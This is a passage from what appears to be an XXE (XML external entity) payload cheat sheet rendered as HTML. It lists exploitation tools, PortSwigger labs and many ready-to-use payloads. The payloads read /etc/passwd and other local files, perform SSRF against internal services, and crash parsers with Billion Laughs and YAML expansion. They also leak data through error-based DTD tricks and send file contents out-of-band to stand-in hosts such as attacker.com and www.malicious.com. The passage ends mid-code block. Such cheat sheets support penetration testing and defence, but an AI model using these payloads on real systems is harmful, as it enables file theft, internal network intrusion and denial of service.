<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="p">./</span><span class="n">docem</span><span class="p">.</span><span class="n">py</span> <span class="n">-s</span> <span class="n">samples</span><span class="p">/</span><span class="n">xxe</span><span class="p">/</span><span class="n">sample_oxml_xxe_mod0</span><span class="p">/</span> <span class="n">-pm</span> <span class="n">xss</span> <span class="n">-pf</span> <span class="n">payloads</span><span class="p">/</span><span class="n">xss_all</span><span class="p">.</span><span class="n">txt</span> <span class="n">-pt</span> <span class="n">per_document</span> <span class="n">-kt</span> <span class="n">-sx</span> <span class="n">docx</span>
|
||
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="p">./</span><span class="n">docem</span><span class="p">.</span><span class="n">py</span> <span class="n">-s</span> <span class="n">samples</span><span class="p">/</span><span class="n">xxe</span><span class="p">/</span><span class="n">sample_oxml_xxe_mod1</span><span class="p">.</span><span class="n">docx</span> <span class="n">-pm</span> <span class="n">xxe</span> <span class="n">-pf</span> <span class="n">payloads</span><span class="p">/</span><span class="n">xxe_special_2</span><span class="p">.</span><span class="n">txt</span> <span class="n">-kt</span> <span class="n">-pt</span> <span class="n">per_place</span>
|
||
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a><span class="p">./</span><span class="n">docem</span><span class="p">.</span><span class="n">py</span> <span class="n">-s</span> <span class="n">samples</span><span class="p">/</span><span class="n">xss_sample_0</span><span class="p">.</span><span class="n">odt</span> <span class="n">-pm</span> <span class="n">xss</span> <span class="n">-pf</span> <span class="n">payloads</span><span class="p">/</span><span class="n">xss_tiny</span><span class="p">.</span><span class="n">txt</span> <span class="n">-pm</span> <span class="n">per_place</span>
|
||
<a id="__codelineno-4-4" name="__codelineno-4-4" href="#__codelineno-4-4"></a><span class="p">./</span><span class="n">docem</span><span class="p">.</span><span class="n">py</span> <span class="n">-s</span> <span class="n">samples</span><span class="p">/</span><span class="n">xxe</span><span class="p">/</span><span class="n">sample_oxml_xxe_mod0</span><span class="p">/</span> <span class="n">-pm</span> <span class="n">xss</span> <span class="n">-pf</span> <span class="n">payloads</span><span class="p">/</span><span class="n">xss_all</span><span class="p">.</span><span class="n">txt</span> <span class="n">-pt</span> <span class="n">per_file</span> <span class="n">-kt</span> <span class="n">-sx</span> <span class="n">docx</span>
|
||
</code></pre></div></li>
|
||
<li><a href="http://www.beneaththewaves.net/Software/On_The_Outside_Reaching_In.html">otori</a> - Toolbox intended to allow useful exploitation of XXE vulnerabilities.
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="n">python</span> <span class="p">./</span><span class="n">otori</span><span class="p">.</span><span class="n">py</span> <span class="p">-</span><span class="n">-clone</span> <span class="p">-</span><span class="n">-module</span> <span class="s2">"G-XXE-Basic"</span> <span class="p">-</span><span class="n">-singleuri</span> <span class="s2">"file:///etc/passwd"</span> <span class="p">-</span><span class="n">-module-options</span> <span class="s2">"TEMPLATEFILE"</span> <span class="s2">"TARGETURL"</span> <span class="s2">"BASE64ENCODE"</span> <span class="s2">"DOCTYPE"</span> <span class="s2">"XMLTAG"</span> <span class="p">-</span><span class="n">-outputbase</span> <span class="s2">"./output-generic-solr"</span> <span class="p">-</span><span class="n">-overwrite</span> <span class="p">-</span><span class="n">-noerrorfiles</span> <span class="p">-</span><span class="n">-noemptyfiles</span> <span class="p">-</span><span class="n">-nowhitespacefiles</span> <span class="p">-</span><span class="n">-noemptydirs</span>
|
||
</code></pre></div></li>
|
||
</ul>
|
||
<h2 id="labs">Labs</h2>
|
||
<ul>
|
||
<li><a href="https://portswigger.net/web-security/all-labs#xml-external-entity-xxe-injection">PortSwigger Labs for XXE</a></li>
|
||
<li><a href="https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files">Exploiting XXE using external entities to retrieve files</a></li>
|
||
<li><a href="https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf">Exploiting XXE to perform SSRF attacks</a></li>
|
||
<li><a href="https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction">Blind XXE with out-of-band interaction</a></li>
|
||
<li><a href="https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities">Blind XXE with out-of-band interaction via XML parameter entities</a></li>
|
||
<li><a href="https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration">Exploiting blind XXE to exfiltrate data using a malicious external DTD</a></li>
|
||
<li><a href="https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages">Exploiting blind XXE to retrieve data via error messages</a></li>
|
||
<li><a href="https://portswigger.net/web-security/xxe/lab-xinclude-attack">Exploiting XInclude to retrieve files</a></li>
|
||
<li><a href="https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload">Exploiting XXE via image file upload</a></li>
|
||
<li><a href="https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd">Exploiting XXE to retrieve data by repurposing a local DTD</a></li>
|
||
<li><a href="https://gosecure.github.io/xxe-workshop">GoSecure workshop - Advanced XXE Exploitation</a> </li>
|
||
</ul>
|
||
<h2 id="detect-the-vulnerability">Detect the vulnerability</h2>
|
||
<p>Basic entity test, when the XML parser parses the external entities the result should contain "John" in <code>firstName</code> and "Doe" in <code>lastName</code>. Entities are defined inside the <code>DOCTYPE</code> element.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="cm"><!--?xml version="1.0" ?--></span>
|
||
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a><span class="cp"><!DOCTYPE replace [<!ENTITY example "Doe"></span><span class="w"> </span>]>
|
||
<a id="__codelineno-6-3" name="__codelineno-6-3" href="#__codelineno-6-3"></a><span class="w"> </span><span class="nt"><userInfo></span>
|
||
<a id="__codelineno-6-4" name="__codelineno-6-4" href="#__codelineno-6-4"></a><span class="w"> </span><span class="nt"><firstName></span>John<span class="nt"></firstName></span>
|
||
<a id="__codelineno-6-5" name="__codelineno-6-5" href="#__codelineno-6-5"></a><span class="w"> </span><span class="nt"><lastName></span><span class="ni">&example;</span><span class="nt"></lastName></span>
|
||
<a id="__codelineno-6-6" name="__codelineno-6-6" href="#__codelineno-6-6"></a><span class="w"> </span><span class="nt"></userInfo></span>
|
||
</code></pre></div>
|
||
<p>It might help to set the <code>Content-Type: application/xml</code> in the request when sending XML payload to the server.</p>
|
||
<h2 id="exploiting-xxe-to-retrieve-files">Exploiting XXE to retrieve files</h2>
|
||
<h3 id="classic-xxe">Classic XXE</h3>
|
||
<p>We try to display the content of the file <code>/etc/passwd</code> </p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="cp"><?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'></span>]><span class="nt"><root></span><span class="ni">&test;</span><span class="nt"></root></span>
|
||
</code></pre></div>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="cp"><?xml version="1.0"?></span>
|
||
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="cp"><!DOCTYPE data [</span>
|
||
<a id="__codelineno-8-3" name="__codelineno-8-3" href="#__codelineno-8-3"></a><span class="cp"><!ELEMENT data (#ANY)></span>
|
||
<a id="__codelineno-8-4" name="__codelineno-8-4" href="#__codelineno-8-4"></a><span class="cp"><!ENTITY file SYSTEM "file:///etc/passwd"></span>
|
||
<a id="__codelineno-8-5" name="__codelineno-8-5" href="#__codelineno-8-5"></a>]>
|
||
<a id="__codelineno-8-6" name="__codelineno-8-6" href="#__codelineno-8-6"></a><span class="nt"><data></span><span class="ni">&file;</span><span class="nt"></data></span>
|
||
</code></pre></div>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="cp"><?xml version="1.0" encoding="ISO-8859-1"?></span>
|
||
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a><span class="w"> </span><span class="cp"><!DOCTYPE foo [ </span>
|
||
<a id="__codelineno-9-3" name="__codelineno-9-3" href="#__codelineno-9-3"></a><span class="cp"> <!ELEMENT foo ANY ></span>
|
||
<a id="__codelineno-9-4" name="__codelineno-9-4" href="#__codelineno-9-4"></a><span class="w"> </span><span class="cp"><!ENTITY xxe SYSTEM "file:///etc/passwd" ></span>]><span class="nt"><foo></span><span class="ni">&xxe;</span><span class="nt"></foo></span>
|
||
</code></pre></div>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="cp"><?xml version="1.0" encoding="ISO-8859-1"?></span>
|
||
<a id="__codelineno-10-2" name="__codelineno-10-2" href="#__codelineno-10-2"></a><span class="cp"><!DOCTYPE foo [ </span>
|
||
<a id="__codelineno-10-3" name="__codelineno-10-3" href="#__codelineno-10-3"></a><span class="cp"> <!ELEMENT foo ANY ></span>
|
||
<a id="__codelineno-10-4" name="__codelineno-10-4" href="#__codelineno-10-4"></a><span class="w"> </span><span class="cp"><!ENTITY xxe SYSTEM "file:///c:/boot.ini" ></span>]><span class="nt"><foo></span><span class="ni">&xxe;</span><span class="nt"></foo></span>
|
||
</code></pre></div>
|
||
<p><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.0.3/assets/svg/26a0.svg" title=":warning:" /> <code>SYSTEM</code> and <code>PUBLIC</code> are almost synonym.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="p"><!</span><span class="n">ENTITY</span> <span class="p">%</span> <span class="n">xxe</span> <span class="n">PUBLIC</span> <span class="s2">"Random Text"</span> <span class="s2">"URL"</span><span class="p">></span>
|
||
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a><span class="p"><!</span><span class="n">ENTITY</span> <span class="n">xxe</span> <span class="n">PUBLIC</span> <span class="s2">"Any TEXT"</span> <span class="s2">"URL"</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<h3 id="classic-xxe-base64-encoded">Classic XXE Base64 encoded</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="cp"><!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"></span><span class="w"> </span>%init;<span class="w"> </span>]><span class="nt"><foo/></span>
|
||
</code></pre></div>
|
||
<h3 id="php-wrapper-inside-xxe">PHP Wrapper inside XXE</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="cp"><!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"></span><span class="w"> </span>]>
|
||
<a id="__codelineno-13-2" name="__codelineno-13-2" href="#__codelineno-13-2"></a><span class="nt"><contacts></span>
|
||
<a id="__codelineno-13-3" name="__codelineno-13-3" href="#__codelineno-13-3"></a><span class="w"> </span><span class="nt"><contact></span>
|
||
<a id="__codelineno-13-4" name="__codelineno-13-4" href="#__codelineno-13-4"></a><span class="w"> </span><span class="nt"><name></span>Jean<span class="w"> </span><span class="ni">&xxe;</span><span class="w"> </span>Dupont<span class="nt"></name></span>
|
||
<a id="__codelineno-13-5" name="__codelineno-13-5" href="#__codelineno-13-5"></a><span class="w"> </span><span class="nt"><phone></span>00<span class="w"> </span>11<span class="w"> </span>22<span class="w"> </span>33<span class="w"> </span>44<span class="nt"></phone></span>
|
||
<a id="__codelineno-13-6" name="__codelineno-13-6" href="#__codelineno-13-6"></a><span class="w"> </span><span class="nt"><address></span>42<span class="w"> </span>rue<span class="w"> </span>du<span class="w"> </span>CTF<span class="nt"></address></span>
|
||
<a id="__codelineno-13-7" name="__codelineno-13-7" href="#__codelineno-13-7"></a><span class="w"> </span><span class="nt"><zipcode></span>75000<span class="nt"></zipcode></span>
|
||
<a id="__codelineno-13-8" name="__codelineno-13-8" href="#__codelineno-13-8"></a><span class="w"> </span><span class="nt"><city></span>Paris<span class="nt"></city></span>
|
||
<a id="__codelineno-13-9" name="__codelineno-13-9" href="#__codelineno-13-9"></a><span class="w"> </span><span class="nt"></contact></span>
|
||
<a id="__codelineno-13-10" name="__codelineno-13-10" href="#__codelineno-13-10"></a><span class="nt"></contacts></span>
|
||
</code></pre></div>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="cp"><?xml version="1.0" encoding="ISO-8859-1"?></span>
|
||
<a id="__codelineno-14-2" name="__codelineno-14-2" href="#__codelineno-14-2"></a><span class="cp"><!DOCTYPE foo [</span>
|
||
<a id="__codelineno-14-3" name="__codelineno-14-3" href="#__codelineno-14-3"></a><span class="cp"><!ELEMENT foo ANY ></span>
|
||
<a id="__codelineno-14-4" name="__codelineno-14-4" href="#__codelineno-14-4"></a><span class="cp"><!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3" ></span>
|
||
<a id="__codelineno-14-5" name="__codelineno-14-5" href="#__codelineno-14-5"></a>]>
|
||
<a id="__codelineno-14-6" name="__codelineno-14-6" href="#__codelineno-14-6"></a><span class="nt"><foo></span><span class="ni">&xxe;</span><span class="nt"></foo></span>
|
||
</code></pre></div>
|
||
<h3 id="xinclude-attacks">XInclude attacks</h3>
|
||
<p>When you can't modify the <strong>DOCTYPE</strong> element use the <strong>XInclude</strong> to target </p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="nt"><foo</span><span class="w"> </span><span class="na">xmlns:xi=</span><span class="s">"http://www.w3.org/2001/XInclude"</span><span class="nt">></span>
|
||
<a id="__codelineno-15-2" name="__codelineno-15-2" href="#__codelineno-15-2"></a><span class="nt"><xi:include</span><span class="w"> </span><span class="na">parse=</span><span class="s">"text"</span><span class="w"> </span><span class="na">href=</span><span class="s">"file:///etc/passwd"</span><span class="nt">/></foo></span>
|
||
</code></pre></div>
|
||
<h2 id="exploiting-xxe-to-perform-ssrf-attacks">Exploiting XXE to perform SSRF attacks</h2>
|
||
<p>XXE can be combined with the <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery">SSRF vulnerability</a> to target another service on the network.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="cp"><?xml version="1.0" encoding="ISO-8859-1"?></span>
|
||
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a><span class="cp"><!DOCTYPE foo [</span>
|
||
<a id="__codelineno-16-3" name="__codelineno-16-3" href="#__codelineno-16-3"></a><span class="cp"><!ELEMENT foo ANY ></span>
|
||
<a id="__codelineno-16-4" name="__codelineno-16-4" href="#__codelineno-16-4"></a><span class="cp"><!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" ></span>
|
||
<a id="__codelineno-16-5" name="__codelineno-16-5" href="#__codelineno-16-5"></a>]>
|
||
<a id="__codelineno-16-6" name="__codelineno-16-6" href="#__codelineno-16-6"></a><span class="nt"><foo></span><span class="ni">&xxe;</span><span class="nt"></foo></span>
|
||
</code></pre></div>
|
||
<h2 id="exploiting-xxe-to-perform-a-deny-of-service">Exploiting XXE to perform a deny of service</h2>
|
||
<p><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.0.3/assets/svg/26a0.svg" title=":warning:" /> : These attacks might kill the service or the server, do not use them on the production.</p>
|
||
<h3 id="billion-laugh-attack">Billion Laugh Attack</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="cp"><!DOCTYPE data [</span>
|
||
<a id="__codelineno-17-2" name="__codelineno-17-2" href="#__codelineno-17-2"></a><span class="cp"><!ENTITY a0 "dos" ></span>
|
||
<a id="__codelineno-17-3" name="__codelineno-17-3" href="#__codelineno-17-3"></a><span class="cp"><!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"></span>
|
||
<a id="__codelineno-17-4" name="__codelineno-17-4" href="#__codelineno-17-4"></a><span class="cp"><!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"></span>
|
||
<a id="__codelineno-17-5" name="__codelineno-17-5" href="#__codelineno-17-5"></a><span class="cp"><!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"></span>
|
||
<a id="__codelineno-17-6" name="__codelineno-17-6" href="#__codelineno-17-6"></a><span class="cp"><!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"></span>
|
||
<a id="__codelineno-17-7" name="__codelineno-17-7" href="#__codelineno-17-7"></a>]>
|
||
<a id="__codelineno-17-8" name="__codelineno-17-8" href="#__codelineno-17-8"></a><span class="nt"><data></span><span class="ni">&a4;</span><span class="nt"></data></span>
|
||
</code></pre></div>
|
||
<h3 id="yaml-attack">Yaml attack</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a>a:<span class="w"> </span><span class="err">&</span>a<span class="w"> </span>["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
|
||
<a id="__codelineno-18-2" name="__codelineno-18-2" href="#__codelineno-18-2"></a>b:<span class="w"> </span><span class="err">&</span>b<span class="w"> </span>[*a,*a,*a,*a,*a,*a,*a,*a,*a]
|
||
<a id="__codelineno-18-3" name="__codelineno-18-3" href="#__codelineno-18-3"></a>c:<span class="w"> </span><span class="err">&</span>c<span class="w"> </span>[*b,*b,*b,*b,*b,*b,*b,*b,*b]
|
||
<a id="__codelineno-18-4" name="__codelineno-18-4" href="#__codelineno-18-4"></a>d:<span class="w"> </span><span class="err">&</span>d<span class="w"> </span>[*c,*c,*c,*c,*c,*c,*c,*c,*c]
|
||
<a id="__codelineno-18-5" name="__codelineno-18-5" href="#__codelineno-18-5"></a>e:<span class="w"> </span><span class="err">&</span>e<span class="w"> </span>[*d,*d,*d,*d,*d,*d,*d,*d,*d]
|
||
<a id="__codelineno-18-6" name="__codelineno-18-6" href="#__codelineno-18-6"></a>f:<span class="w"> </span><span class="err">&</span>f<span class="w"> </span>[*e,*e,*e,*e,*e,*e,*e,*e,*e]
|
||
<a id="__codelineno-18-7" name="__codelineno-18-7" href="#__codelineno-18-7"></a>g:<span class="w"> </span><span class="err">&</span>g<span class="w"> </span>[*f,*f,*f,*f,*f,*f,*f,*f,*f]
|
||
<a id="__codelineno-18-8" name="__codelineno-18-8" href="#__codelineno-18-8"></a>h:<span class="w"> </span><span class="err">&</span>h<span class="w"> </span>[*g,*g,*g,*g,*g,*g,*g,*g,*g]
|
||
<a id="__codelineno-18-9" name="__codelineno-18-9" href="#__codelineno-18-9"></a>i:<span class="w"> </span><span class="err">&</span>i<span class="w"> </span>[*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||
</code></pre></div>
|
||
<h3 id="parameters-laugh-attack">Parameters Laugh attack</h3>
|
||
<p>A variant of the Billion Laughs attack, using delayed interpretation of parameter entities, by Sebastian Pipping.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="cp"><!DOCTYPE r [</span>
|
||
<a id="__codelineno-19-2" name="__codelineno-19-2" href="#__codelineno-19-2"></a><span class="cp"> <!ENTITY % pe_1 "<!----></span>">
|
||
<a id="__codelineno-19-3" name="__codelineno-19-3" href="#__codelineno-19-3"></a><span class="w"> </span><span class="cp"><!ENTITY % pe_2 "&#37;pe_1;<!----></span><span class="ni">&#37;</span>pe_1;">
|
||
<a id="__codelineno-19-4" name="__codelineno-19-4" href="#__codelineno-19-4"></a><span class="w"> </span><span class="cp"><!ENTITY % pe_3 "&#37;pe_2;<!----></span><span class="ni">&#37;</span>pe_2;">
|
||
<a id="__codelineno-19-5" name="__codelineno-19-5" href="#__codelineno-19-5"></a><span class="w"> </span><span class="cp"><!ENTITY % pe_4 "&#37;pe_3;<!----></span><span class="ni">&#37;</span>pe_3;">
|
||
<a id="__codelineno-19-6" name="__codelineno-19-6" href="#__codelineno-19-6"></a><span class="w"> </span>%pe_4;
|
||
<a id="__codelineno-19-7" name="__codelineno-19-7" href="#__codelineno-19-7"></a>]>
|
||
<a id="__codelineno-19-8" name="__codelineno-19-8" href="#__codelineno-19-8"></a><span class="nt"><r/></span>
|
||
</code></pre></div>
|
||
<h2 id="exploiting-error-based-xxe">Exploiting Error Based XXE</h2>
|
||
<h3 id="error-based-using-local-dtd-file">Error Based - Using Local DTD File</h3>
|
||
<p>Short list of dtd files already stored on Linux systems; list them with <code>locate .dtd</code>:</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a>/usr/share/xml/fontconfig/fonts.dtd
|
||
<a id="__codelineno-20-2" name="__codelineno-20-2" href="#__codelineno-20-2"></a>/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
|
||
<a id="__codelineno-20-3" name="__codelineno-20-3" href="#__codelineno-20-3"></a>/usr/share/xml/svg/svg10.dtd
|
||
<a id="__codelineno-20-4" name="__codelineno-20-4" href="#__codelineno-20-4"></a>/usr/share/xml/svg/svg11.dtd
|
||
<a id="__codelineno-20-5" name="__codelineno-20-5" href="#__codelineno-20-5"></a>/usr/share/yelp/dtd/docbookx.dtd
|
||
</code></pre></div>
|
||
<p>The file <code>/usr/share/xml/fontconfig/fonts.dtd</code> has an injectable entity <code>%constant</code> at line 148: <code><!ENTITY % constant 'int|double|string|matrix|bool|charset|langset|const'></code></p>
|
||
<p>The final payload becomes:
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="cp"><!DOCTYPE message [</span>
|
||
<a id="__codelineno-21-2" name="__codelineno-21-2" href="#__codelineno-21-2"></a><span class="cp"> <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"></span>
|
||
<a id="__codelineno-21-3" name="__codelineno-21-3" href="#__codelineno-21-3"></a><span class="w"> </span><span class="cp"><!ENTITY % constant 'aaa)></span>
|
||
<a id="__codelineno-21-4" name="__codelineno-21-4" href="#__codelineno-21-4"></a><span class="w"> </span><span class="cp"><!ENTITY &#x25; file SYSTEM "file:///etc/passwd"></span>
|
||
<a id="__codelineno-21-5" name="__codelineno-21-5" href="#__codelineno-21-5"></a><span class="w"> </span><span class="cp"><!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///patt/&#x25;file;&#x27;></span>">
|
||
<a id="__codelineno-21-6" name="__codelineno-21-6" href="#__codelineno-21-6"></a><span class="w"> </span><span class="ni">&#x25;</span>eval;
|
||
<a id="__codelineno-21-7" name="__codelineno-21-7" href="#__codelineno-21-7"></a><span class="w"> </span><span class="ni">&#x25;</span>error;
|
||
<a id="__codelineno-21-8" name="__codelineno-21-8" href="#__codelineno-21-8"></a><span class="w"> </span><span class="cp"><!ELEMENT aa (bb'></span>
|
||
<a id="__codelineno-21-9" name="__codelineno-21-9" href="#__codelineno-21-9"></a><span class="w"> </span>%local_dtd;
|
||
<a id="__codelineno-21-10" name="__codelineno-21-10" href="#__codelineno-21-10"></a>]>
|
||
<a id="__codelineno-21-11" name="__codelineno-21-11" href="#__codelineno-21-11"></a><span class="nt"><message></span>Text<span class="nt"></message></span>
|
||
</code></pre></div></p>
|
||
<h3 id="error-based-using-remote-dtd">Error Based - Using Remote DTD</h3>
|
||
<p><strong>Payload to trigger the XXE</strong></p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="cp"><?xml version="1.0" ?></span>
|
||
<a id="__codelineno-22-2" name="__codelineno-22-2" href="#__codelineno-22-2"></a><span class="cp"><!DOCTYPE message [</span>
|
||
<a id="__codelineno-22-3" name="__codelineno-22-3" href="#__codelineno-22-3"></a><span class="cp"> <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd"></span>
|
||
<a id="__codelineno-22-4" name="__codelineno-22-4" href="#__codelineno-22-4"></a><span class="w"> </span>%ext;
|
||
<a id="__codelineno-22-5" name="__codelineno-22-5" href="#__codelineno-22-5"></a>]>
|
||
<a id="__codelineno-22-6" name="__codelineno-22-6" href="#__codelineno-22-6"></a><span class="nt"><message></message></span>
|
||
</code></pre></div>
|
||
<p><strong>Content of ext.dtd</strong></p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-23-1" name="__codelineno-23-1" href="#__codelineno-23-1"></a><span class="cp"><!ENTITY % file SYSTEM "file:///etc/passwd"></span>
|
||
<a id="__codelineno-23-2" name="__codelineno-23-2" href="#__codelineno-23-2"></a><span class="cp"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'></span>">
|
||
<a id="__codelineno-23-3" name="__codelineno-23-3" href="#__codelineno-23-3"></a>%eval;
|
||
<a id="__codelineno-23-4" name="__codelineno-23-4" href="#__codelineno-23-4"></a>%error;
|
||
</code></pre></div>
|
||
<p>Let's break down the payload:</p>
|
||
<ol>
|
||
<li><code><!ENTITY % file SYSTEM "file:///etc/passwd"></code>
|
||
This line defines an external entity named file that references the content of the file /etc/passwd (a Unix-like system file containing user account details).</li>
|
||
<li><code><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"></code>
|
||
This line defines an entity eval that holds another entity definition. This other entity (error) is meant to reference a nonexistent file and append the content of the file entity (the <code>/etc/passwd</code> content) to the end of the file path. The <code>&#x25;</code> is a URL-encoded '<code>%</code>' used to reference an entity inside an entity definition.</li>
|
||
<li><code>%eval;</code>
|
||
This line uses the eval entity, which causes the entity error to be defined.</li>
|
||
<li><code>%error;</code>
|
||
Finally, this line uses the error entity, which attempts to access a nonexistent file with a path that includes the content of <code>/etc/passwd</code>. Since the file doesn't exist, an error will be thrown. If the application reports back the error to the user and includes the file path in the error message, then the content of <code>/etc/passwd</code> would be disclosed as part of the error message, revealing sensitive information.</li>
|
||
</ol>
|
||
<h2 id="exploiting-blind-xxe-to-exfiltrate-data-out-of-band">Exploiting blind XXE to exfiltrate data out-of-band</h2>
|
||
<p>Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack.</p>
|
||
<h3 id="basic-blind-xxe">Basic Blind XXE</h3>
|
||
<p>The easiest way to test for a blind XXE is to try to load a remote resource such as a Burp Collaborator.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-24-1" name="__codelineno-24-1" href="#__codelineno-24-1"></a><span class="cp"><?xml version="1.0" ?></span>
|
||
<a id="__codelineno-24-2" name="__codelineno-24-2" href="#__codelineno-24-2"></a><span class="cp"><!DOCTYPE root [</span>
|
||
<a id="__codelineno-24-3" name="__codelineno-24-3" href="#__codelineno-24-3"></a><span class="cp"><!ENTITY % ext SYSTEM "http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/x"></span><span class="w"> </span>%ext;
|
||
<a id="__codelineno-24-4" name="__codelineno-24-4" href="#__codelineno-24-4"></a>]>
|
||
<a id="__codelineno-24-5" name="__codelineno-24-5" href="#__codelineno-24-5"></a><span class="nt"><r></r></span>
|
||
</code></pre></div>
|
||
<p>Send the content of <code>/etc/passwd</code> to "www.malicious.com", you may receive only the first line.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-25-1" name="__codelineno-25-1" href="#__codelineno-25-1"></a><span class="cp"><?xml version="1.0" encoding="ISO-8859-1"?></span>
|
||
<a id="__codelineno-25-2" name="__codelineno-25-2" href="#__codelineno-25-2"></a><span class="cp"><!DOCTYPE foo [</span>
|
||
<a id="__codelineno-25-3" name="__codelineno-25-3" href="#__codelineno-25-3"></a><span class="cp"><!ELEMENT foo ANY ></span>
|
||
<a id="__codelineno-25-4" name="__codelineno-25-4" href="#__codelineno-25-4"></a><span class="cp"><!ENTITY % xxe SYSTEM "file:///etc/passwd" ></span>
|
||
<a id="__codelineno-25-5" name="__codelineno-25-5" href="#__codelineno-25-5"></a><span class="cp"><!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;"></span>
|
||
<a id="__codelineno-25-6" name="__codelineno-25-6" href="#__codelineno-25-6"></a>]
|
||
<a id="__codelineno-25-7" name="__codelineno-25-7" href="#__codelineno-25-7"></a>>
|
||
<a id="__codelineno-25-8" name="__codelineno-25-8" href="#__codelineno-25-8"></a><span class="nt"><foo></span><span class="ni">&callhome;</span><span class="nt"></foo></span>
|
||
</code></pre></div>
|
||
<h3 id="xxe-oob-attack-yunusov-2013">XXE OOB Attack (Yunusov, 2013)</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-26-1" name="__codelineno-26-1" href="#__codelineno-26-1"></a><span class="cp"><?xml version="1.0" encoding="utf-8"?></span>
|
||
